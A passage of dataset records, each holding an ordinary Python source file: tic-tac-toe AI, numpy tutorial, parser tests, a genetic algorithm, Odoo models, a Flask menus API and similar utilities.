np.reshape(all_zero_0_, [28, 28, 1])*255)\n# cv2.imwrite('temp00002.jpg', np.reshape(all_zero_1_, [28, 28, 1])*255)\n# cv2.imwrite('temp00003.jpg', np.reshape(all_zero_2_, [28, 28, 1])*255)\n# cv2.imwrite('temp00004.jpg', np.reshape(all_zero_3_, [28, 28, 1])*255)\n# cv2.imwrite('temp00005.jpg', np.reshape(all_zero_4_, [28, 28, 1])*255)\n# cv2.imwrite('temp00006.jpg', np.reshape(all_zero_5_, [28, 28, 1])*255)\n# cv2.imwrite('temp00007.jpg', np.reshape(all_zero_6_, [28, 28, 1])*255)\n# cv2.imwrite('temp00001.jpg', np.reshape(zero_, [28, 28, 1])*255)\n# cv2.imwrite('temp00002.jpg', np.reshape(one_, [28, 28, 1])*255)\n# cv2.imwrite('temp00003.jpg', np.reshape(two_, [28, 28, 1])*255)\n# cv2.imwrite('temp00004.jpg', np.reshape(three_, [28, 28, 1])*255)\n# cv2.imwrite('temp00005.jpg', np.reshape(four_, [28, 28, 1])*255)\n# cv2.imwrite('temp00006.jpg', np.reshape(five_, [28, 28, 1])*255)\n# cv2.imwrite('temp00007.jpg', np.reshape(six_, [28, 28, 1])*255)\n# cv2.imwrite('temp00008.jpg', np.reshape(seven_, [28, 28, 1])*255)\n# cv2.imwrite('temp00009.jpg', np.reshape(eight_, [28, 28, 1])*255)\n# cv2.imwrite('temp00010.jpg', np.reshape(nine_, [28, 28, 1])*255)\nos.system('ffmpeg -f image2 -r 1/2 -i temp%05d.jpg -vcodec mpeg4 -y ' + 'Digit_.mp4')\ntime.sleep(0.5)\nos.system('rm -f temp00001.jpg temp00002.jpg temp00003.jpg temp00004.jpg temp00005.jpg temp00006.jpg temp00007.jpg temp00008.jpg temp00009.jpg temp00010.jpg')\ntime.sleep(0.5)\n","sub_path":"Experiments/EXPT7/EXPT7_Test_Attribute_Hypothesis.py","file_name":"EXPT7_Test_Attribute_Hypothesis.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"424972685","text":"__author__ = 'marc'\n\n\nfrom config.settings import *\nclass Player(object):\n \"\"\"A tic tact toe player\"\"\"\n\n def __init__(self, board_value, *args, **kwargs):\n \"\"\"\n board_value should be a single character to display such as X or O.\n \"\"\"\n\n # the value which will represent the player behind the scenes\n self.board_value = board_value\n self.turn_count = 0\n\n\nclass AIPlayer(Player):\n \"\"\"An AI tic tac toe player\"\"\"\n #\n # from the mind of justin\n # http://bash-shell.net/blog/2013/jan/04/python-tic-tac-toe-ai/\n # These are the POSITIONS TO TARGET IN ORDER\n # used by pick_open_position fallback if no wins or blocks are found\n # after the first turn and any checks for wins/blocks\n # Each list index aligns with the corresponding board position\n STRATEGIES = [(4, 8, 2),\n (4, 8, 6, 2, 0),\n (4, 6, 0),\n (4, 0, 2, 6, 8),\n None, # should not happen, we ALWAYS get this first\n (4, 0, 2, 6, 8),\n (4, 2, 8),\n (4, 0, 2, 6, 8),\n (4, 0, 6)]\n\n def __init__(self, board_value, *args, **kwargs):\n super(AIPlayer, self).__init__(board_value, *args, **kwargs)\n self.strategy = None\n\n def look_for_win(self, board, player=None):\n \"\"\"Find a space which allows a win for the given player\"\"\"\n\n win_spot = None\n if player is None:\n player = self\n\n for group in WINS:\n # creates a list of just the elements of the board which are\n # part of a specific win group and and not already owned by the player\n # and creates a list of tuples of the element and its value.\n not_mine = [(i, val) for i, val in enumerate(board.tttboard)\n if i in group\n and val != player.board_value]\n\n # If there's only one not owned by the ai player and not owned by\n # the other player then select it and we've won\n if len(not_mine) == 1 and not_mine[0][1] is None:\n # Maybe this should return the selection rather than\n # modifying the board in here. Decide later.\n win_spot = not_mine[0][0]\n break\n\n return win_spot\n\n def pick_open_position(self, board):\n \"\"\"\n Select any open spot on the board.\n\n This is a fallback to be used when there are no wins or win blockers.\n \"\"\"\n\n open_positions = [i for i, value in enumerate(board.tttboard) if value is None]\n\n # default no priority position then see if there's a position open\n # which fits the chosen strategy\n selected_position = open_positions[0]\n\n for position in self.strategy:\n if position in open_positions:\n selected_position = position\n break\n\n return selected_position\n\n def take_turn(self, board, other_player):\n \"\"\"Implement the logic for a single turn of the AI player\"\"\"\n\n # Always pick the middle box on the first round\n position = 4 if self.turn_count == 0 else None\n\n if self.turn_count == 1:\n # On the second turn, after the human player has picked\n # their first spot so we can determine our strategy\n assert other_player.board_value in board.tttboard\n player2_position = board.tttboard.index(other_player.board_value)\n self.strategy = AIPlayer.STRATEGIES[player2_position]\n\n if position is None:\n position = self.look_for_win(board)\n\n if position is None:\n position = self.look_for_win(board, other_player)\n\n if position is None:\n position = self.pick_open_position(board)\n\n self.turn_count += 1\n return position\n","sub_path":"player/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"95569772","text":"##############\n# numpy prep #\n##############\n\n# importing numpy\nimport time\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# plotting functions\n\ndef Plotvec1(u, z, v):\n ax = plt.axes()\n ax.arrow(0, 0, *u, head_width=0.05, color='r', head_length=0.1)\n plt.text(*(u + 0.1), 'u')\n ax.arrow(0, 0, *v, head_width=0.05, color='b', head_length=0.1)\n plt.text(*(v + 0.1), 'v')\n ax.arrow(0, 0, *z, head_width=0.05, head_length=0.1)\n plt.text(*(z + 0.1), 'z')\n plt.ylim(-2,2)\n plt.xlim(-2,2)\n\ndef Plotvec2(a,b):\n ax = plt.axes()\n ax.arrow(0, 0, *a, head_width=0.05, color = 'r', head_length=0.1)\n ax = plt.axes()\n ax.arrow(0, 0, *b, head_width=0.05, color = 'b', head_length=0.1)\n plt.ylim(-2,2)\n plt.xlim(-2,2)\n\n# creating a python list:\na = [\"0\", 1, \"two\", \"3\", 4]\n\n# can print each element as follows:\n#print(\"a[0]\", a[0])\n#print(\"a[1]\", a[1])\n#print(\"a[2]\", a[2])\n#print(\"a[3]\", a[3])\n#print(\"a[4]\", a[4])\n\n###############################\n# numpy: what is it good for? #\n###############################\n# creating an array in numpy, separate from regular py arrays\na = np.array([0, 1, 2, 3, 4])\na\n\n# can print numpy arrays in much the same way\n#print(\"a[0]:\", a[0])\n#print(\"a[1]:\", a[1])\n#print(\"a[2]:\", a[2])\n#print(\"a[3]:\", a[3])\n#print(\"a[4]:\", a[4])\n\n###################\n# addressing type #\n###################\ntype(a)\n\n# checking element types: equiv of str in r\na.dtype\n\n# creating a new numpy array with float types\nb = np.array([3.1, 11.02, 6.2, 213.2, 5.2])\n\n# checking array type\ntype(b)\n\n# checking element types\nb.dtype\n\n####################\n# assigning values #\n####################\n\n# create numpy array\nc = np.array([20, 1, 2, 3, 4])\nc\n\n# changing the value of element 1 through assignment\nc[0] = 100\nc\n\n# assigning element 5 a value of 0\nc[4] = 0\n#print(c)\n\n###########\n# slicing #\n###########\n\nd = c[1:4]\nd\n\n# replacing array c's values using colon shorthand\nc[3:5] = 300, 400\nc\n# [100 1 2 300 400]\n# basically the colon shorthand is called slicing\n\n################################\n# assigning values using lists #\n################################\n\n# creating the list of indices to be assigned\nselect = [0, 2, 3]\n\n# using above list to select elements or subset\n# using c+index list to replace values of d\nd = c[select]\nd\n\n# using values to assign to index list\nc[select] = 100000\nc\n\n####################\n# other attributes #\n####################\n\n# once again, creating a numpy array\na = np.array([0, 1, 2, 3, 4])\na\n# now working to display dim functionality in py\n# getting size of numpy arrays\na.size\n# note: numpy functionality only works on numpy arrays\n# getting the numer of dimensions of a numpy array\na.ndim\n# getting the shape and size of the numpy array\na.shape\n# note: you have to explicitly print any object in script unlike in notebooks\n\n\n# creating a numpy array\na = np.array([1, -1, 1, -1])\n# getting the mean of the array\nmean = a.mean()\nmean\n# getting the std dev of the array\nstandard_deviation = a.std()\nstandard_deviation\n\n\n# creating a numpy array\nb = np.array([-1, 2, 3, 4, 5])\nb\n\n# getting the biggest value in the numpy array\nmax_b = b.max()\nmax_b\n\n# conversely, getting the lowest value\nmin_b = b.min()\nmin_b\n\n\n##########################\n# numpy array operations #\n##########################\n\n##################\n# array addition #\n##################\nu = np.array([1,0])\nu\n\nv = np.array([0,1])\nv\n\n# numpy array addition\nz = u + v\nz\n\n# plot numpy arrays\nPlotvec1(u, z, v)\n#plt.show()\n\n#########################\n# array multiiplication #\n#########################\ny = np.array([1,2])\ny\n\n# numpy array multiiplication\nz = 2 * y\nz\n\n###############################\n# product of two numpy arrays #\n###############################\nu = np.array([1,2])\nu\n\nv = np.array([3,2])\nv\n\n# calculate the product of two numpy arrays\nz = u * v\nz\n\n###############\n# dot product #\n###############\nnp.dot(u,v)\n\nu = np.array([1,2,3,-1])\nu\n\n##################################\n# adding a constant to the array #\n##################################\nu + 1\n\n##########################\n# mathematical functions #\n##########################\n# printing out value of pi\nnp.pi\n\n# translating array elements values listed in pi to radians\nx = np.array([0,np.pi/2,np.pi])\n\n# calculates the sine of each element\ny = np.sin(x)\ny\n\n############\n# linspace #\n############\n# declaring an equally spaced array, specifying cutpoints, and n\nnp.linspace(-2,2,num=5)\nnp.linspace(-2,2,num=9)\n\n# using pi instead for cutpoints\nx = np.linspace(0, 2*np.pi, num=100)\n\n# calculate the sine of x list\ny = np.sin(x)\n\n# plot the result\n#plt.plot(x,y)\n#plt.show()\n# spliced from line due to sinusoidal nature\n\n##########################\n# quiz on 1d numpy array #\n##########################\n\n# declaring arrays\nu = np.array([1,0])\nv = np.array([0,1])\n\n# calculating the difference\nu-v\n\n# declaring and multiplying by a scalar\nz = np.array([2,4])\nz*-2\n\n# casting lists to arrays\nx = np.array([1,2,3,4,5])\ny = np.array([1,0,1,0,1])\nx*y\n\n# converting lists to numpy arrays\na = np.array([-1,1])\nb = np.array([1,1])\n# plotting arrays as vectors\n#Plotvec2(a,b)\n#plt.show()\n# dot product\nnp.dot(a,b)\n\n# doing the same for the following lists\na = np.array([1,0])\nb = np.array([0,1])\n#Plotvec2(a,b)\n#plt.show()\nnp.dot(a,b)\n\n# doing the same for the following lists\na = np.array([1,1])\nb = np.array([0,1])\n#Plotvec2(a,b)\n#plt.show()\nnp.dot(a,b)\n\n# perpendicular vectors above give a 0 dot product\n\n\n########\n# quiz #\n########\n#q1\na = np.array([0,1,0,1,0])\nb = np.array([1,0,1,0,1])\nprint(a*b)\n\n# q2\na = np.array([-1,1])\nb = np.array([1,1])\nprint(np.dot(a,b))\n\n# q3\na = np.array([1,1,1,1,1])\nprint(a + 10)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# in order to display plot within window\n# plt.show()\n","sub_path":"wk4/wk4.4_numpy/nmpy_1dim.py","file_name":"nmpy_1dim.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"434137048","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport uuid\n\nfrom google.cloud import trace_v1\n\n\ndef patch_traces(project_id: str):\n \"\"\"Send new traces or update existing traces.\"\"\"\n\n client = trace_v1.TraceServiceClient()\n\n trace = trace_v1.Trace(\n project_id=project_id,\n trace_id=str(uuid.uuid4()).replace(\"-\", \"\"),\n spans=[trace_v1.TraceSpan(span_id=1, name=\"test-span\")],\n )\n\n request = trace_v1.PatchTracesRequest(\n project_id=project_id, traces=trace_v1.Traces(traces=[trace])\n )\n\n client.patch_traces(request=request)\n","sub_path":"samples/snippets/patch_traces.py","file_name":"patch_traces.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"445734828","text":"# automated tests for ladder_parser.py\n\nfrom nose.tools import *\nfrom mock import patch\nfrom wl_parsers.ladder_parser import *\n\n# utility\n\nclass FakeParser(object):\n\n def __init__(self, ID=None, offset=150, threshold=150):\n self.ID = ID\n self.offset = offset\n self.hasUnranked = False\n if (offset >= threshold):\n self.isEmpty = True\n else: self.isEmpty = False\n\n def getLadderTeams(self, *args):\n return [self.offset,]\n\n def getGameHistory(self, *args):\n return [self.offset,]\n\ndef setDataToLadderParser(data):\n parser = LadderParser(0)\n parser.pageData = data\n return parser\n\ndef setDataToLadderRankingParser(data):\n parser = LadderRankingParser(0, 0)\n parser.pageData = data\n return parser\n\ndef setDataToLadderHistoryParser(data):\n parser = LadderHistoryParser(0, 0)\n parser.pageData = data\n return parser\n\ndef setDataToLadderTeamHistoryParser(data):\n parser = LadderTeamHistoryParser(0, 0, 0)\n parser.pageData = data\n return parser\n\ndef readFile(filename, mode=\"r\"):\n with open(filename, mode) as fin:\n return fin.read()\n\n# fetch data\ndata_ladder_1v1 = readFile(\"wl_parsers/test/data/ladder_1v1.txt\")\ndata_ladder_nonexistent = readFile(\"wl_parsers/test/data/ladder_nonexistent.txt\")\ndata_ladder_seasonal = readFile(\"wl_parsers/test/data/ladder_seasonal.txt\")\ndata_teams_3v3 = readFile(\"wl_parsers/test/data/teams_3v3.txt\")\ndata_teams_offset = readFile(\"wl_parsers/test/data/teams_offset.txt\")\ndata_games_1v1 = readFile(\"wl_parsers/test/data/games_1v1.txt\")\ndata_games_3v3 = readFile(\"wl_parsers/test/data/games_3v3.txt\")\ndata_history_2v2 = readFile(\"wl_parsers/test/data/history_2v2.txt\")\n\n# create parsers\nladder_1v1 = setDataToLadderParser(data_ladder_1v1)\nladder_nonexistent = setDataToLadderParser(data_ladder_nonexistent)\nladder_seasonal = setDataToLadderParser(data_ladder_seasonal)\nteams_3v3 = setDataToLadderRankingParser(data_teams_3v3)\nteams_offset = setDataToLadderRankingParser(data_teams_offset)\ngames_1v1 = setDataToLadderHistoryParser(data_games_1v1)\ngames_3v3 = setDataToLadderHistoryParser(data_games_3v3)\nhistory_2v2 = setDataToLadderTeamHistoryParser(data_history_2v2)\n\n# LadderParser tests\n\n@patch('wl_parsers.ladder_parser.LadderParser.makeURL')\ndef test_ladderParser(makeURL):\n ladderParser = LadderParser(10)\n makeURL.assert_called_with(\"https://www.warlight.net/LadderSeason?\", \n ID=10)\n assert_equals(ladderParser.URL, makeURL.return_value)\n\ndef test_exists():\n assert_true(ladder_1v1.exists)\n assert_true(ladder_seasonal.exists)\n assert_false(ladder_nonexistent.exists)\n\ndef test_size():\n assert_equals(ladder_1v1.size, 384)\n assert_equals(ladder_seasonal.size, 153)\n assert_equals(ladder_nonexistent.size, None)\n\ndef test_trimUnranked():\n trimUnranked = LadderParser.trimUnranked\n no_unranked = [{\"rank\": 1}, {\"rank\": 2}, {\"rank\": 3, \"payload\": 4}]\n one_unranked = [{\"rank\": None}, {\"rank\": 4, \"a\": \"b\"}]\n all_unranked = [{\"rank\": None, \"a\": \"B\"}, {\"rank\": None}]\n empty = list()\n assert_equals(trimUnranked(no_unranked), no_unranked)\n assert_equals(trimUnranked(one_unranked), [{\"rank\": 4,\n \"a\": \"b\"},])\n assert_equals(trimUnranked(all_unranked), list())\n assert_equals(trimUnranked(empty), list())\n # non-destructivity check\n assert_equals(one_unranked,\n [{\"rank\": None}, {\"rank\": 4, \"a\": \"b\"}])\n\n@patch('wl_parsers.ladder_parser.LadderParser.trimUnranked')\n@patch('wl_parsers.ladder_parser.LadderRankingParser')\ndef test_getTeams(lrParser, trim):\n # threshold at 150 - loop should end there\n lrParser.return_value = FakeParser()\n assert_equals(ladder_1v1.getTeams(), [150,])\n assert_equals(ladder_seasonal.getTeams(), [150,])\n trim.assert_not_called()\n assert_equals(ladder_1v1.getTeams(rankedOnly=True), \n trim.return_value)\n trim.assert_called()\n\n@patch('wl_parsers.ladder_parser.LadderHistoryParser')\ndef test_getHistory(lhParser):\n # threshold at 150 - loop should end there\n lhParser.return_value = FakeParser()\n assert_equals(ladder_1v1.getHistory(), \n [150,])\n assert_equals(ladder_seasonal.getHistory(), \n [150,])\n\n\n@patch('wl_parsers.ladder_parser.LadderTeamHistoryParser')\ndef test_getTeamHistory(lthParser):\n # threshold at 150 - loop should end there\n lthParser.return_value = FakeParser()\n assert_equals(ladder_1v1.getTeamHistory(\"teamID\"), \n [150,])\n assert_equals(ladder_seasonal.getTeamHistory(\"teamID\"), \n [150,])\n\n# LadderRankingParser tests\n@patch('wl_parsers.ladder_parser.LadderRankingParser.makeURL')\ndef test_ladderRankingParser(makeURL):\n lrParser = LadderRankingParser(\"ladderID\", \"offset\")\n assert_equals(lrParser.isEmpty, False)\n assert_equals(lrParser.hasUnranked, False)\n assert_equals(lrParser.URL, makeURL.return_value)\n makeURL.assert_called_once_with(\"https://www.warlight.net/LadderTeams?\",\n ID=\"ladderID\", Offset=\"offset\")\n\ndef test_parseRankingPoint():\n parsePoint = teams_3v3._LadderRankingParser__parsePoint\n dataPoint = \"\"\"\n 1 \n \n \n \n INSIDE, \n \n vicnus, and \n \n Glamorous\n \n \n 2245\n \n \"\"\"\n assert_equals(parsePoint(dataPoint)['rating'], 2245)\n assert_equals(parsePoint(dataPoint)['rank shift'], 0)\n assert_equals(parsePoint(dataPoint)['ID'], 15431)\n\ndef test_getLadderTeams():\n teamData_3v3 = teams_3v3.getLadderTeams()\n teamData_offset = teams_offset.getLadderTeams()\n assert(('INSIDE', (188, 'VS')) in teamData_3v3[0]['players'])\n assert_equals(len(teamData_3v3[20]['players']), 3) # 3 v 3 ladder\n assert_equals(teamData_offset[0]['ID'], 9218)\n assert_equals(len(teamData_offset), 50)\n assert_equals(len(teamData_offset[12]['players']), 1) # 1v1 ladder\n\n# LadderHistoryParser tests\n@patch('wl_parsers.ladder_parser.LadderHistoryParser.makeURL')\ndef test_ladderHistoryParser(makeURL):\n lhParser = LadderHistoryParser(\"ladderID\", \"offset\")\n assert_equals(lhParser.earliestDate, None)\n assert_equals(lhParser.hasExpired, False)\n assert_equals(lhParser.URL, makeURL.return_value)\n makeURL.assert_called_once_with(\"https://www.warlight.net/LadderGames?\",\n ID=\"ladderID\", Offset=\"offset\")\n\ndef test_parseHistoryPoint():\n parsePoint = games_1v1._LadderHistoryParser__parsePoint\n dataPoint = \"\"\"\n \n \n \n \n malakkan defeated kroete\n \n \n \n 12594234\n \n \n 1/14/2017 15:23:53\n \n \n kroete: 1872, \n \n malakkan: \n 1927\n \n \n \"\"\"\n assert_false(parsePoint(dataPoint)['expired'])\n assert_true(parsePoint(dataPoint)['teams'][0]['won'])\n\ndef test_getGameHistory():\n assert_true(games_1v1.getGameHistory()[-1]['finished'])\n assert_equals(games_1v1.earliestDate,\n games_1v1.getGameHistory()[-1]['end date'])\n assert_equals(games_1v1.getGameHistory(),\n games_1v1.getGameHistory(returnExpired=False))\n assert_equals(games_3v3.getGameHistory(earliestDate=\n datetime.datetime(year=2017, month=1, day=14)),\n list()) # no games that new in this list\n assert_not_equal(games_3v3.getGameHistory(returnExpired=False),\n games_3v3.getGameHistory())\n\n# LadderTeamHistoryParser\n@patch('wl_parsers.ladder_parser.LadderTeamHistoryParser.makeURL')\ndef test_ladderTeamHistoryParser(makeURL):\n lthParser = LadderTeamHistoryParser(\"ladderID\", \"teamID\", \"offset\")\n assert_equals(lthParser.hasExpired, False)\n assert_equals(lthParser.earliestDate, None)\n assert_equals(lthParser.URL, makeURL.return_value)\n makeURL.assert_called_once_with(\"https://www.warlight.net/LadderGames?\",\n ID=\"ladderID\", LadderTeamID=\"teamID\",\n Offset=\"offset\")\n\ndef test_getTeamGameHistory():\n assert_false(history_2v2.getGameHistory()[0]['finished'])\n assert_true(history_2v2.getGameHistory()[-1]['finished'])\n assert_equals(history_2v2.getGameHistory(returnExpired=True),\n history_2v2.getGameHistory())\n assert_not_equal(history_2v2.getGameHistory(earliestDate=\n datetime.datetime(year=2017, month=1, day=1)),\n history_2v2.getGameHistory())","sub_path":"wl_parsers/test/ladder_parser_tests.py","file_name":"ladder_parser_tests.py","file_ext":"py","file_size_in_byte":10902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"354005280","text":"#!/usr/bin/env python\n\nimport asyncio\nimport socket\n\nfrom aioprometheus import Counter, Service\n\n\nif __name__ == '__main__':\n\n def on_timer_expiry(loop, events_collector):\n ''' Update the metric periodically '''\n events_collector.inc({'kind': 'timer_expiry'})\n loop.call_later(1.0, on_timer_expiry, loop, events_collector)\n\n loop = asyncio.get_event_loop()\n\n svr = Service(loop=loop)\n\n events_collector = Counter(\n \"events\", \"Number of events.\", {'host': socket.gethostname()})\n\n svr.registry.register(events_collector)\n\n loop.run_until_complete(svr.start())\n print('serving prometheus metrics on: {}'.format(svr.url))\n\n loop.call_later(1.0, on_timer_expiry, loop, events_collector)\n\n try:\n loop.run_forever()\n except KeyboardInterrupt:\n pass\n finally:\n loop.run_until_complete(svr.stop())\n loop.close()\n","sub_path":"examples/docs-example.py","file_name":"docs-example.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"72327223","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom odoo.exceptions import UserError, ValidationError\n\nclass PartnerRelations(models.Model):\n\n _name = 'res.partner.relation'\n _description = 'Map partners relations'\n \n type_id = fields.Many2one(\n 'partner.relation.type',\n string = \"Relation Type\",\n required = True,\n )\n \n source_partner_id = fields.Many2one(\n 'res.partner',\n string = 'Source Partner',\n required = True,\n )\n\n target_partner_id = fields.Many2one(\n 'res.partner',\n string = 'Target Partner',\n required = True,\n )\n\n source_message = fields.Char(\n related = 'type_id.source_message',\n )\n\n target_message = fields.Char(\n related = 'type_id.target_message',\n )\n\n # related + depends\n '''\n source_category = fields.Many2many('res.partner.category', column1='partner_id',\n column2='category_id', string='Source Tags', related='source_partner_id.category_id')\n\n\n def update_child_tags(self):\n # scheduled actions\n group_relations = self.env['res.partner.relation'].search([('type_id', '=', self.env.ref('vcls-crm.rel_type_cmpny_group').id)])\n for relation in group_relations:\n relation.target_partner_id.category_id = [(6, 0, relation.source_partner_id.category_id.ids)]\n '''\n\nclass PartnerRelationType(models.Model):\n\n _name = 'partner.relation.type'\n _description = 'Predefined partner relations.'\n\n name = fields.Char(\n required = True,\n )\n active = fields.Boolean(\n default = True,\n )\n\n description = fields.Char()\n\n source_message = fields.Char()\n source_domain = fields.Char()\n\n target_message = fields.Char()\n target_domain = fields.Char()","sub_path":"vcls-crm/models/partner_relation.py","file_name":"partner_relation.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"225096120","text":"\"\"\" implement the continuous geneatic algorithm \"\"\"\n\nfrom __future__ import print_function\n\nimport numpy as np\nimport random\n\nclass Chromosome(object):\n \"\"\"an individual chromosome for one organism in our population. This\n will consist of n_params represented as a real array (this is a\n continuous algorithm). A chromosome will also keep track of its\n cost, according to the fitness function\n\n \"\"\"\n\n def __init__(self, n_params, fit_func):\n \"\"\" randomly initialize the parameters \"\"\"\n self.n_params = n_params\n self.fit_func = fit_func\n\n # our parameters is the chromosome\n self.r = np.zeros(n_params)\n\n def random_initialize(self):\n \"\"\" create our chromosome of random parameters \"\"\"\n self.r[:] = np.random.random(size=self.n_params)\n\n def cost(self):\n \"\"\"compute the cost (according to the fitness function) of this\n organism\"\"\"\n return self.fit_func(self.r)\n\n def __lt__(self, other):\n # we use the fitness function to provide the ordering\n return self.cost() < other.cost()\n\n def __str__(self):\n return \"{}\".format(self.cost())\n\nclass Population(object):\n \"\"\"Create a population of chromosomes for our problem\n\n we assume that our parameters are in [0, 1)\n\n Our convection is that the lower the fitness the better.\n \"\"\"\n\n def __init__(self, N, n_params, fit_func):\n \"\"\" Create the initial population \"\"\"\n self.N = N\n\n # we'll create 2N chromosomes, sort them according to the\n # fitness function, and then take the N best\n t_pop = []\n for n in range(2*N):\n c = Chromosome(n_params, fit_func)\n c.random_initialize()\n t_pop.append(c)\n\n # sorting orders in terms of the fitness function\n t_pop.sort()\n self.population = t_pop[0:self.N]\n\n self.generation = 0\n\n def best(self):\n \"\"\" return the best (fittest) chromosome \"\"\"\n self.population.sort()\n return self.population[0]\n\n def select_parents(self):\n \"\"\"pick the chromosomes from the gene pool that will reproduce. We do\n this by running a tournamenet, randomly picking pairs as\n potential parents and keeping the fittest of the pair\n\n \"\"\"\n _tmp = list(self.population)\n random.shuffle(_tmp)\n\n parents = []\n for n in range(self.N//2):\n p1 = _tmp.pop()\n p2 = _tmp.pop()\n if p1 < p2:\n parents.append(p1)\n else:\n parents.append(p2)\n\n self.parents = parents\n\n def crossover(self):\n \"\"\"Create our children via crossover on our parents. We randomly\n select the parents from the pool of parents and use a fixed\n crossover point (in array index space) to create the\n children\n\n \"\"\"\n\n # here we'll restrict the breeding to the fittest N/2 parents,\n # but other variations exist\n p = list(self.parents)\n p.sort()\n p = p[0:self.N//2]\n random.shuffle(p)\n\n children = []\n\n for n in range(len(p)//2):\n p1 = p.pop()\n p2 = p.pop()\n\n c1 = Chromosome(p1.n_params, p1.fit_func)\n c2 = Chromosome(p1.n_params, p1.fit_func)\n\n c1.r[0:p1.n_params//2] = p1.r[0:p1.n_params//2]\n c1.r[p1.n_params//2:] = p2.r[p1.n_params//2:]\n\n children.append(c1)\n\n c2.r[0:p1.n_params//2] = p2.r[0:p1.n_params//2]\n c2.r[p1.n_params//2:] = p1.r[p1.n_params//2:]\n\n children.append(c2)\n\n # we now have the new generation\n self.generation += 1\n\n self.population = self.parents + children\n self.population.sort()\n\n def mutation(self, probability=0.05, num_elite=2):\n \"\"\"mutate a fraction of the bits in the chromosome randomly. For the\n num_elite best chromosomes, we only keep a mutation if it\n improves the cost\n\n \"\"\"\n\n # we assume we are sorted coming into here\n for n, c in enumerate(self.population):\n if n < num_elite:\n # store the old\n t = c.r.copy()\n cost_old = c.cost()\n\n # randomly flip bits\n for b in range(c.n_params):\n if random.random() < probability:\n c.r[b] = random.random()\n\n cost = c.cost()\n\n # for elite configurations, reset if the new cost is higher\n if n < num_elite:\n if cost > cost_old:\n c.r[:] = t[:]\n\n # resort\n self.population.sort()\n\n def __str__(self):\n s = \"\"\n for n in range(self.N):\n p = self.population[n]\n s += \"{}: {}\\n\".format(n, p.cost())\n\n return s\n\n\nclass GeneticAlgorithm(object):\n \"\"\" a driver for the continuous genetic algorithm \"\"\"\n\n def __init__(self, n_params, cost_function, N=20):\n self.n_params = n_params\n self.cost_function = cost_function\n self.N = N\n self.U_hist = []\n\n self.p = Population(self.N, self.n_params,\n self.cost_function)\n\n def optimize(self, n_generations=2000):\n \"\"\"run the genetic algorithm for multiple generations\"\"\"\n for g in range(n_generations):\n self.p.select_parents()\n self.p.crossover()\n self.p.mutation()\n\n U = self.p.best().cost()\n self.U_hist.append(U)\n print(\"{}: {}\".format(g, U))\n","sub_path":"PHY_604_Computational_Methods_in_Physics_and_Astrophysics_II_Zingale/code1/genetic/genetic_continuous.py","file_name":"genetic_continuous.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"433190109","text":"#!d:/Dropbox/hobby/Modding/Projects/[Py_base]_PyQt-Sorter/.venv/scripts/python\nimport xml.etree.ElementTree as ET\nfrom pprint import pprint\nfrom gidtools.gidfiles import QuickFile, readit, writejson\n\n\nmy_str = readit('D:/Dropbox/hobby/Modding/Projects/[Py_base]_PyQt-Sorter/pyqt_sorter/pyqt_sorter_ressources.qrc')\n\n_list = []\ntree = ET.ElementTree(ET.fromstring(my_str))\nfor elt in tree.iter('file'):\n _list.append(elt.attrib)\n for key, value in elt.attrib.items():\n if \"snippet\" in value:\n print(value)\n\n# writejson(_list, 'test.json')\n","sub_path":"pyqtsocius/pyqt_sorter_misc.py","file_name":"pyqt_sorter_misc.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"519823401","text":"from flask import Blueprint, jsonify, request\nfrom flask.views import MethodView\n\nimport constants\nfrom .models import MenuSection, MenuItem\n\n\nHTTP_204_NO_CONTENT = ('', 204)\n\n\nclass MenusAPI(MethodView):\n def get(self, section):\n client_id = int(request.headers.get(constants.HTTP_CLIENT_ID))\n menus = None\n\n if(client_id and section):\n menus = MenuSection.get(client_id=client_id, name=section)\n\n if menus is None:\n return HTTP_204_NO_CONTENT\n else:\n return jsonify({ \"data\": self.serialize(menus) })\n \n def serialize(self, menus):\n if (isinstance(menus, MenuSection)):\n menu_section_dict = {}\n menu_section_dict[\"name\"] = menus.name\n menu_section_dict[\"label\"] = menus.label\n menu_items = self.serialize_items(menus.menu_items)\n menu_section_dict[\"menu_items\"] = menu_items\n return menu_section_dict\n elif (isinstance(menus, list)):\n menu_section_list = []\n for menu_section in menus:\n menu_section_list.append(self.serialize(menu_section))\n return menu_section_list\n return menus\n \n def serialize_items(self, menu_items):\n if (isinstance(menu_items, MenuItem)):\n menu_item_dict = {}\n menu_item_dict[\"name\"] = menu_items.name\n menu_item_dict[\"image_url\"] = menu_items.image_url\n menu_item_dict[\"url\"] = menu_items.url\n return menu_item_dict\n elif(isinstance(menu_items, list)):\n menu_item_list = []\n for menu_item in menu_items:\n menu_item_list.append(self.serialize_items(menu_item))\n return menu_item_list\n return menu_items\n \nmenus_blueprint = 